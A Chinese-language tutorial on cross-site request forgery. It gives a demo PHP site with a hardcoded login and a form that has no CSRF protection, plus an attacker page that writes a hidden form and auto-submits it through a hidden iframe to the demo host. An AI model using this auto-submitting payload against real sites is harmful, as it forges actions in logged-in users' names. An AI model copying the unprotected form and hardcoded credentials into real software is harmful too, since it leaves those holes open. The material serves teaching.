CSRF(Cross Site Request Forgery),中文是跨站请求伪造。CSRF攻击者在用户已经登录目标网站之后,诱使用户访问一个攻击页面,利用目标网站对用户的信任,以用户身份在攻击页面对目标网站发起伪造用户操作的请求,达到攻击目的。
举个列子
假如A站为受信任的银行网站,其中有个银行转账的表单;B站为黑客网站,其中有个页面带有伪造A站银行转账表单提交的请求,当用户登录A站后,在不退出的情况下,再去访问B站,就会向黑客指定账户转账。
A站代码(这里通过表单提交文本内容模拟银行转账)
index.php 控制器文件
<?php
namespace controller;
use mini\Controller;
class Index extends Controller
{
/**
* 构造方法 未登录 前往登录
* Index constructor.
*/
public function __construct()
{
parent::__construct();
if($_GET['a'] == 'index') {
if (!$_SESSION['uid']) {
redirect('/index/login');
}
}
}
/**
* 表单提交页面及展示提交的内容
*/
public function index()
{
if($_POST){
$_SESSION['content'][] = $_POST['content'];
}
//session_destroy();
var_dump($_SESSION['content']);
$this->display();
}
/**
* 用户登录界面及操作
*/
public function login()
{
if($_POST['submit']){
if(($_POST['uname'] == 'jack') && ($_POST['passwd'] == '123456')){
$_SESSION['uid'] = 1;
redirect('/index/index');
}else{
redirect('/index/login');
}
}else{
$this->display();
}
}
}
login.html 登录视图
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<form method="post">
<label>用户名:<input type="text" name="uname" /></label><br>
<label>密码:<input type="text" name="passwd" /></label><br>
<input name="submit" type="submit" value="提交" />
</form>
</body>
</html>
index.html 表单提交视图
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<form method="post">
<label>内容:<textarea name="content"></textarea></label>
<input type="submit" value="提交" />
</form>
</body>
</html>
B站代码 (这里通过iframe隐式提交伪造的表单)
hacker.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
test
<script>
document.write('<form method="post" id="Myform" action="http://test.idev/" target="csrf" style="display:none">\n' +
' <label>内容:<textarea name="content">我是hacker</textarea></label>\n' +
' <input type="submit" value="提交" />\n' +
' </form>');
var body = document.body;
var iframe = document.createElement('iframe');
iframe.name = 'csrf';
iframe.style = 'display:none';
body.appendChild(iframe);
setTimeout(function(){
document.getElementById('Myform').submit();
},1000);
</script>
</body>
</html>